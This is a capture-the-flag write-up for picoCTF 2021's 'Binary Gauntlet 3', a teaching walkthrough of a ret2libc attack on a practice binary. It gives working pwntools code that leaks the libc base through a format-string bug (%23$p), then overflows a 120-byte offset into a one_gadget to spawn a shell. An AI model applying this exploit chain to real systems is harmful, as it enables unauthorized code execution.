Skip to main content

Binary Gauntlet 3 picoCTF 2021 Solution

A binary exploitation gauntlet with full mitigations enabled, requiring chained techniques to gain code execution.

Published: April 2, 2026Updated: August 13, 2026

Description

The final stage of the Binary Gauntlet. Unlike Gauntlet 0/1/2, the stack here is non-executable, so the 'leak a stack address and jump to your shellcode' trick from the earlier levels does not work. This level is a ret2libc: leak libc through the format-string bug, then return into a one-gadget.

Remote + binary

Download the binary and the provided libc. Check mitigations with checksec (NX is enabled here).

Read the binary in a disassembler to see how it reads and prints your input.

bash
wget https://mercury.picoctf.net/static/<hash>/vuln
bash
chmod +x vuln
bash
checksec vuln

Solution

Want to try it yourself first?

The guided walkthrough reveals hints one step at a time.

Walk me through it
  1. Step 1Map the two bugs: format string + overflow
    Observation
    checksec reports NX enabled, and the source has both a printf(user_input) call and an unbounded buffer copy. Those are two distinct bugs to chain: the format string leaks libc, the overflow hijacks the return address.
    main declares char local_78[104] and copies your input in without a length limit, so you overflow the saved return address. The offset from the buffer to the saved return address is 120 bytes. Before that, the program prints your input directly with printf(user_input), which is a format-string vulnerability you can use to leak a libc-relative pointer off the stack.
    bash
    checksec vuln          # NX enabled -> no stack shellcode (unlike gauntlet 0/1/2)
    bash
    # Find the offset to saved RIP (cyclic pattern): it is 120 bytes here.
    python
    python3 -c "from pwn import *; print(cyclic_find(0x6161616b))"

    Expected output

    120
    What didn't work first

    Tried: Running the cyclic pattern against the binary locally and getting a different offset than 120

    Without the challenge-provided libc loaded, your local glibc gives __libc_start_main a different stack frame size, which shifts the saved RIP offset. Patch the binary to the provided libc with patchelf or pwninit before measuring, so the number matches the remote instance.

    Tried: Trying ret2shellcode after seeing a format-string and overflow in the same binary

    Gauntlet 0, 1, and 2 allowed stack shellcode because NX was off. Here checksec shows NX enabled, so the stack pages are non-executable and jumping to shellcode you wrote there gives a SIGSEGV rather than execution. The path is ret2libc: leak the base address, then jump into existing libc code.

    Learn more

    Why this level changes tactics. Gauntlet 0/1/2 let you place shellcode on the stack and jump to it. Here NX (non-executable stack) is on, so the stack bytes you control cannot be executed. The reusable primitive that remains is ret2libc: redirect the return into existing executable code in libc. To do that you first need libc's runtime base, which the format-string leak provides.

  2. Step 2Leak libc with the format string
    Observation
    printf(user_input) runs with no format argument, before the overflow is triggered. A positional %p specifier prints a libc-relative return address off the stack, and subtracting its known offset gives the libc base.
    Send a format specifier that prints a stack slot holding a libc address. In the 2021 mercury instance, %23$p returns a pointer that sits a fixed distance above libc base, so libc_base = leak - 231 - 0x21b10 (the 0x21b10 is __libc_start_main's offset in libc6 2.27-3ubuntu1.4). Recompute these constants if your libc differs.
    python
    python3 - <<'PY'
    from pwn import remote
    io = remote("mercury.picoctf.net", <PORT_FROM_INSTANCE>)
    io.sendline(b"%23$p")
    leak = int(io.recvline().strip(), 16)
    libc_base = leak - 231 - 0x21b10        # instance-specific; verify against the given libc
    print(hex(libc_base))
    PY
    What didn't work first

    Tried: Sending %23$s instead of %23$p to read the pointer as a string

    %s dereferences the value in that stack slot and prints bytes until a null terminator, which either crashes on an unmapped address or returns garbage. %p prints the raw pointer in hex, which is what lets you subtract the known __libc_start_main offset and compute libc_base.

    Tried: Trying %1$p through %10$p and assuming one of those early slots holds the libc address

    The libc-internal return address near __libc_start_main sits deep in the call frame, around slot 23 on this binary, while low-numbered slots hold saved registers and local buffer addresses. Without inspecting the layout under GDB with info frame and x/40gx $rsp, the wrong slot gives a value that does not resolve to a valid libc_base.

    Learn more

    Why a positional %p leaks libc. When a program runs printf on attacker text with no format argument, each %p prints whatever is at the corresponding argument slot, which on the stack means saved registers and return addresses. One of those slots holds a libc-internal return address (here near __libc_start_main), and subtracting that symbol's known offset yields the libc base. ASLR randomizes the base, but not the internal offsets, so one leak defeats it.

  3. Step 3Return into a one-gadget
    Observation
    A direct ret2system would mean controlling rdi and minding stack alignment, and the challenge ships a specific libc. Running one_gadget against that exact libc finds a self-contained execve gadget and skips both setup steps.
    With libc_base known, overflow the return address (120 bytes of padding) with the address of a one_gadget. In the challenge libc (2.27-3ubuntu1.4) the gadget at offset 0x4f432 executes execve('/bin/sh', 0, 0). Run one_gadget on the provided libc to get the right offset and its register/stack constraints for your build.
    python
    python3 - <<'PY'
    from pwn import remote, p64
    # carry libc_base from the previous step
    ONE_GADGET = 0x4f432            # from: one_gadget ./libc.so.6
    payload = b"A" * 120 + p64(libc_base + ONE_GADGET)
    io.sendline(payload)
    io.interactive()                # -> shell, then: cat flag.txt
    PY

    If the gadget's constraints are not met (it segfaults), try the other one_gadget offsets the tool prints, or fall back to a full pop rdi; ret -> "/bin/sh" -> system chain with a ret added first for 16-byte stack alignment.

    What didn't work first

    Tried: Jumping directly to system with rdi pointing at '/bin/sh' and hitting a SIGSEGV or SIGBUS

    The x86-64 ABI wants the stack 16-byte aligned at the call instruction. A raw ret into system without an extra ret gadget first usually leaves it 8 bytes off, and the crash lands inside system's SSE movaps. Adding a bare ret gadget, found with ROPgadget or ropper, before the system address fixes the alignment.

    Tried: Using the one_gadget offset from a different libc version (e.g. Ubuntu 18.04 vs. 20.04)

    one_gadget offsets belong to a specific libc build and shift between versions and patch levels. Run it against your system libc instead of the challenge's libc.so.6 and the offset points somewhere else entirely, so the payload jumps into arbitrary code rather than the execve gadget. Always run it against the exact libc that shipped with the challenge.

    Learn more

    Why one_gadget over system. A clean system("/bin/sh") call needs rdi pointing at the string and a 16-byte-aligned stack at the call, which often means extra gadgets. A one_gadget is a single libc address that already sets up and calls execve("/bin/sh", NULL, NULL) when its constraints hold, so the exploit reduces to one address after the padding.

    See Buffer Overflow Binary Exploitation and Pwntools for CTF for the full ret2libc workflow.

Interactive tools
  • Cyclic Pattern GeneratorGenerate de Bruijn cyclic patterns and find buffer overflow offsets. The browser equivalent of pwntools cyclic and cyclic_find.
  • pwntools Payload BuilderPack integers into little-endian bytes (p32 / p64), unpack bytes back to integers, and build flat ROP payloads with offset-based insertion.

Flag

Reveal flag

picoCTF{f629b202...}

NX is enabled, so the gauntlet's stack-shellcode trick is out. Use the uncontrolled printf to leak libc (e.g. %23$p minus the known offset), then overflow the return address (offset 120) with a one_gadget at libc+0x4f432 for a shell. The leak slot, fudge constant, and gadget offset are libc-version specific.

Key takeaway

Ret2libc replaces stack shellcode once NX marks the stack non-executable. Rather than injecting code, the attacker leaks libc's runtime base through a format string or another disclosure bug, then overwrites the return address to jump into existing libc code such as system or a one-gadget execve. That two-phase shape, leak the base then overwrite RIP, applies to any ASLR-protected binary where a read primitive and a write primitive coexist, which makes it one of the most common building blocks in real exploitation.

Related reading

Tools used in this challenge

Where to go next